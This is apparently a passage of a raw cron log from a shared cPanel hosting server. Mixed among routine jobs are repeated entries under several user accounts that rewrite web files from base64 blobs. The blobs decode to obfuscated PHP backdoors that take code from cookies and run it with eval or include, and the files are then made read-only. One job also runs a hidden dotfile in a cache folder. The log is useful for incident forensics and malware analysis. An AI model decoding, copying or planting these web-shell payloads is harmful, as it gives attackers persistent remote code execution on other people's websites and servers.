c3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:15:01 medusa CROND[28085]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:15:01 medusa CROND[28087]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28088]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:15:01 medusa CROND[28093]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:15:01 medusa CROND[28103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:16:02 medusa CROND[30080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:16:02 medusa CROND[30084]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:16:02 medusa CROND[30085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:16:02 medusa CROND[30086]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:16:02 medusa CROND[30087]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:16:02 medusa CROND[30089]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:16:02 medusa CROND[30094]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:16:02 medusa CROND[30095]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:16:02 medusa CROND[30096]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:16:02 medusa CROND[30093]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:16:02 medusa CROND[30098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:16:02 medusa CROND[30092]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:16:02 medusa CROND[30099]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:16:02 medusa CROND[30114]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:17:02 medusa CROND[32151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:17:02 medusa CROND[32155]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:17:02 medusa CROND[32156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:17:02 medusa CROND[32157]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 10:17:02 medusa CROND[32158]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:17:02 medusa CROND[32159]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:17:02 medusa CROND[32161]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:17:02 medusa CROND[32162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:17:02 medusa CROND[32164]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:17:02 medusa CROND[32163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:17:02 medusa CROND[32167]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:17:02 medusa CROND[32175]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:17:02 medusa CROND[32177]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:18:01 medusa CROND[1804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:18:01 medusa CROND[1805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:18:01 medusa CROND[1806]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:18:01 medusa CROND[1807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:18:01 medusa CROND[1808]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:18:01 medusa CROND[1812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:18:01 medusa CROND[1814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:18:01 medusa CROND[1817]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVt